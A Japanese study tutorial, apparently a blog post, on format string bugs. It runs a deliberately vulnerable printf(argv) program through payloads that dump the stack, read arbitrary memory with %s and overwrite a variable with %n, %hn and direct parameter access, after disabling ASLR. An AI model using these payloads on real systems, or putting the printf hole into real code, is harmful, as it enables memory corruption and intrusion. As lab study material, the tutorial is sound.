フォーマット文字列攻撃に際しFSB(Format String Bug)を理解する
策謀本の195ページにある「0x350 フォーマット文字列」を題材に、フォーマット文字列攻撃(のためのFSB)について勉強する。
サンプルプログラム
#include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char text[1024]; strcpy(text, argv[1]); printf(text); }
"vuln"というファイル名でコンパイルしておく。
FSBと攻撃
たとえば普通に文字列を与えると
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln test test
次に、フォーマット指定子の%x
を与えてみると..
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln %x cb54c246
上記の場合、printf("%x");
が実行されてる。
通常、printf("%x", arg)
のようにフォーマット指定子を評価して適切な引数argにアクセスしようとする(そして、この場合はその引数を16進数表示する)。
しかし、printf("%x");
のように引数argが無いので、結果的に直前のスタックにアクセスして、そこにある値を16進数表示してしまっている。
なので、次のよう繰り返しフォーマット指定子を与えてやれば、スタックのメモリダンプを得ることができる:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln %x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x 2b662236_12_16_7d3f3ef0_7d613aa0_2b661418_7d60e4d0_255f7825_5f78255f_78255f78_255f7825_5f78255f_78255f78_7d007825_7d642a50_0_0
出力をよくみると、"5f78255f"や"78255f78"が繰り返し出現しているが、実はこれらは"_%x"という文字列のこと:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ printf "\x78\x5f\x25\x78" x_%x ┌──(shoebill㉿shoebill)-[~/pwn] └─$ printf "\x5f\x25\x78\x5f" _%x_
つまり、%x
というフォーマット文字列が格納されたメモリ領域がダンプされたということ。
フォーマット指定子一覧:
(画像元:https://www.k-cube.co.jp/wakaba/server/format.html)
%s
で任意のメモリアドレスから読み込みを行う
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln AAAA%x_%x_%x_%x AAAA12bec258_f_41414141_737f3ef0
3つ目の%x
に対して、先頭のAAAAの16進数表示41414141が出力されている。
そこで、3つ目の%x
を%s
にすると、0x41414141というアドレスから値を読み出そうとする(今回はアドレス0x41414141に適切な値が存在していないのでsegmentation faultになるが)。
たとえば環境変数PATHのアドレスが0xbffffdd7だとする。この時
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\xd7\xfd\xff\xbf")%x_%x_%x_%x �fu�c6ebc250_17_bffffdd7_4f1f3ef0
3つ目の%x
を%s
にすると、アドレス0xbffffdd7から値を読み出そうとするので
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\xd7\xfd\xff\xbf")%x_%x_%s_%x �fu�c6ebc250_17_/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/_4f1f3ef0
とPATHが表示される。
%n
で任意のメモリアドレスに書き込みを行う
vuln.cを次のように少し編集する:
#include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char text[1024]; static int test_val = -72; strcpy(text, argv[1]); printf(text); printf("\n"); printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val); }
┌──(shoebill㉿shoebill)-[~/pwn] └─$ gcc vuln.c -m32 -o vuln ┌──(shoebill㉿shoebill)-[~/pwn] └─$ sudo sysctl -w kernel.randomize_va_space=0
※ アドレスがその都度変わらないようにsudo sysctl -w kernel.randomize_va_space=0
を実行しておく
実行すると
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln AAAA%x_%x_%x_%x AAAAffffd239_0_565561d7_41414141 [*] test_val @ 0x5655901c = -72 0xffffffb8
FSBを利用してtest_val
の値を書き換える。
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%x_%x �UVffffd239_0_565561d7_5655901c [*] test_val @ 0x5655901c = -72 0xffffffb8
4つ目の%x
を%n
にしてやれば、%n
の直前までに出力されたバイト数がアドレス0x5655901cに格納される。
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%x_%n �UVffffd239_0_565561d7_ [*] test_val @ 0x5655901c = 24 0x00000018
フィールド幅を指定して簡単にバイト数を制御できる:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%100x_%n �UVffffd236_0_ 565561d7_ [*] test_val @ 0x5655901c = 116 0x00000074 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%20x_%n �UVffffd237_0_ 565561d7_ [*] test_val @ 0x5655901c = 36 0x00000024
%n
について:
大きな数値に書き換える
test_valの値を0xddccbbaaに書き換える。
そこで、0x5655901cから連続したアドレス
- 0x5655901cに0xaa
- 0x5655901dに0xbb
- 0x5655901eに0xcc
- 0x5655901fに0xdd
というように書き込むことを考える。
┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0xaa' $1 = 170
ここで、calc
は次のエイリアスのこと:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ alias calc calc='gdb -batch -ex'
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%x_%x �UVffffd239_0_565561d7_5655901c [*] test_val @ 0x5655901c = -72 0x00000018 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%x_%n �UVffffd239_0_565561d7_ [*] test_val @ 0x5655901c = 24 0x00000018 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 170 - 24' $1 = 146 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%146x_%n �UVffffd236_0_ 565561d7_ [*] test_val @ 0x5655901c = 162 0x000000a2
8少ないので足してやれば
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56")%x_%x_%154x_%n �UVffffd236_0_ 565561d7_ [*] test_val @ 0x5655901c = 170 0x000000aa
0x5655901dに0xbbを書き込む。
次のようにJUNKを挟んで%nの出力バイトカウンタを正しくカウントアップさせる
$(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56")
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56")%x.%x.%x.%x.%x.%x �UVJUNK�-Vffffd22b.0.565561d7.5655901c.4b4e554a.562d901d ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\55\x56")%x%x%149x%n%x%x �UVJUNK�-Vffffd22d0 565561d74b4e554a562d901d [*] test_val @ 0x5655901c = 170 0x000000aa ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0xbb - 0xaa' $1 = 17 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56")%x%x%149x%n%17x%n �UVJUNK�UVffffd22b0 565561d7 4b4e554a [*] test_val @ 0x5655901c = 48042 0x0000bbaa
先に4つ分\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56
を書く(それにより133に変わる)。
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%x%n �UVJUNK�UVJUNK�UVJUNK�UVffffd2240565561d7 [*] test_val @ 0x5655901c = 45 0x0000002d # 170 - 45 = 125 (+8 = 133) ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%133x%n �UVJUNK�UVJUNK�UVJUNK�UVffffd2210 565561d7 [*] test_val @ 0x5655901c = 170 0x000000aa
0xaa, 0xbb, 0xcc, 0xddはそれぞれ16進数で差が17なので
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%133x%n%17x%n%17x%n%17x%n �UVJUNK�UVJUNK�UVJUNK�UVffffd20f0 565561d7 4b4e554a 4b4e554a 4b4e554a [*] test_val @ 0x5655901c = -573785174 0xddccbbaa
差がマイナスになるもの
上の例では、0xaa, 0xbb, 0xcc, 0xddの各差が17だったが、0x0806abcdに書き換えたいという場合はどうするか?
0xab - 0xcd
は-34になってしまう。そこで0x1ab - 0xcd
の結果222を使う。つまり繰り上げを利用する。
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%x%n �UVJUNK�UVJUNK�UVJUNK�UVffffd2240565561d7 [*] test_val @ 0x5655901c = 45 0x0000002d ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0xcd' $1 = 205 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0xcd - 45' $1 = 160 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%160x%n �UVJUNK�UVJUNK�UVJUNK�UVffffd2210 565561d7 [*] test_val @ 0x5655901c = 197 0x000000c5 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%168x%n �UVJUNK�UVJUNK�UVJUNK�UVffffd2210 565561d7 [*] test_val @ 0x5655901c = 205 0x000000cd
それぞれ差を計算すると
┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x1ab - 0xcd' $1 = 222 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x106 - 0xab' $1 = 91 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x108 - 0x06' $1 = 258
よって
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56JUNK\x1d\x90\x55\x56JUNK\x1e\x90\x55\x56JUNK\x1f\x90\x55\x56")%x%x%168x%n%222x%n%91x%n%258x%n �UVJUNK�UVJUNK�UVJUNK�UVffffd20d0 ... [*] test_val @ 0x5655901c = 134654925 0x0806abcd
$
記号でもっと簡単にFSBの攻撃をする
(ダイレクトパラメータアクセス)
「N番目の引数を10進数表示する」という場合に、フォーマット指定子を%N$d
と指定する。
printf("seventh: %7$d, fourth: %4$05d", 10, 20, 30, 40, 50, 60, 70, 80);
と書いた時の出力は
seventh: 70, fourth: 00040
となる。
FSBの攻撃では次のように利用できる:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln AAAA%x_%x_%x_%x AAAAffffd239_0_565561d7_41414141 [*] test_val @ 0x5655901c = -72 0xffffffb8
4番目の%x
に対して先頭のAAAAが参照されてるら
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln AAAA%4\$x AAAA41414141 [*] test_val @ 0x5655901c = -72 0xffffffb8
のように、%4$x
だけかけばよい(ターミナル上では$マークをエスケープすることに注意)。
$
を使って書き換えをする
先のように、出力バイト数を調整するため"JUNK"という文字列も不要になる。
注)perlの使用について、以下の二つは同じ:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56\x1d\x90\x55\x56\x1e\x90\x55\x56\x1f\x90\x55\x56")%4\$n �UV�UV�UV�UV [*] test_val @ 0x5655901c = 16 0x00000010 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(perl -e 'print "\x1c\x90\x55\x56" . "\x1d\x90\x55\x56" . "\x1e\x90\x55\x56" . "\x1f\x90\x55\x56"')%4\$n �UV�UV�UV�UV [*] test_val @ 0x5655901c = 16 0x0000001
test_valの値を、0xbffffd72に書き換える。まず
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(perl -e 'print "\x1c\x90\x55\x56" . "\x1d\x90\x55\x56" . "\x1e\x90\x55\x56" . "\x1f\x90\x55\x56"')%4\$n [*] test_val @ 0x5655901c = 16 0x00000010
以下のように計算していく:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x72 - 16' $1 = 98 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(perl -e 'print "\x1c\x90\x55\x56" . "\x1d\x90\x55\x56" . "\x1e\x90\x55\x56" . "\x1f\x90\x55\x56"')%98x%4\$n [*] test_val @ 0x5655901c = 114 0x00000072 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0xfd - 0x72' $1 = 139 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(perl -e 'print "\x1c\x90\x55\x56" . "\x1d\x90\x55\x56" . "\x1e\x90\x55\x56" . "\x1f\x90\x55\x56"')%98x%4\$n%139x%5\$n [*] test_val @ 0x5655901c = 64882 0x0000fd72 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0xff - 0xfd' $1 = 2 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x1ff - 0xfd' $1 = 258 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(perl -e 'print "\x1c\x90\x55\x56" . "\x1d\x90\x55\x56" . "\x1e\x90\x55\x56" . "\x1f\x90\x55\x56"')%98x%4\$n%139x%5\$n%258x%6\$n [*] test_val @ 0x5655901c = 33553778 0x01fffd72 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0xbf -0xff' $1 = -64 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x1bf -0xff' $1 = 192 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(perl -e 'print "\x1c\x90\x55\x56" . "\x1d\x90\x55\x56" . "\x1e\x90\x55\x56" . "\x1f\x90\x55\x56"')%98x%4\$n%139x%5\$n%258x%6\$n%192x%7\$n [*] test_val @ 0x5655901c = -1073742478 0xbffffd72
ショートライトh
の利用
unsigned long x = 0xdeadbeefcafebabe; printf("1バイト:%hhx, 2バイト:%hx, unsigned int:%x, 8バイト:%lx", x, x, x, x); // 実行結果 // 1バイト:be, 2バイト:babe, unsigned int:cafebabe, 8バイト:deadbeefcafebabe
長さ修飾子のh
を利用する。
test_val(4バイト)を2バイトずつすなわち二つのhn
で0xbffffd72に書き換える。
先に答えを示すと
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56\x1e\x90\x55\x56")%64874x%4\$hn%49805x%5\$hn ... [*] test_val @ 0x5655901c = -1073742478 0xbffffd72
hn
の使用により変わったのは \x1c\x90\x55\x56
と\x1e\x90\x55\x56
のように1バイト隣じゃなくて2バイト隣をかくという部分。
"fd72"を書き込んで、次に"bfff"を書き込む。
┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0xfd72' $1 = 64882 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56\x1e\x90\x55\x56")%64882x%4\$hn ... [*] test_val @ 0x5655901c = -646 0xfffffd7a
\x1c\x90\x55\x56\x1e\x90\x55\x56
の8バイト分がカウントされている(その部分を削除してやるとtest_valの値に変化が起きる)。
-8して64874にすれば
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56\x1e\x90\x55\x56")%64874x%4\$hn ... [*] test_val @ 0x5655901c = -654 0xfffffd72
┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0xbfff - 0xfd72' $1 = -15731 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0x1bfff - 0xfd72' $1 = 49805
これより
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1c\x90\x55\x56\x1e\x90\x55\x56")%64874x%4\$hn%49805x%5\$hn ... [*] test_val @ 0x5655901c = -1073742478 0xbffffd72
実は、ショートライトを使うときは、書き込む順序はどちらが先でもよい!
なので次のようにもできる:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ ./vuln $(printf "\x1e\x90\x55\x56\x1c\x90\x55\x56")%49143x%4\$hn%15731x%5\$hn ... [*] test_val @ 0x5655901c = -1073742478 0xbffffd72
計算については以下のように考える:
┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0xbfff' $1 = 49151 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0xbfff - 8' $1 = 49143 ┌──(shoebill㉿shoebill)-[~/pwn] └─$ calc 'p/d 0xfd72 - 0xbfff' $1 = 15731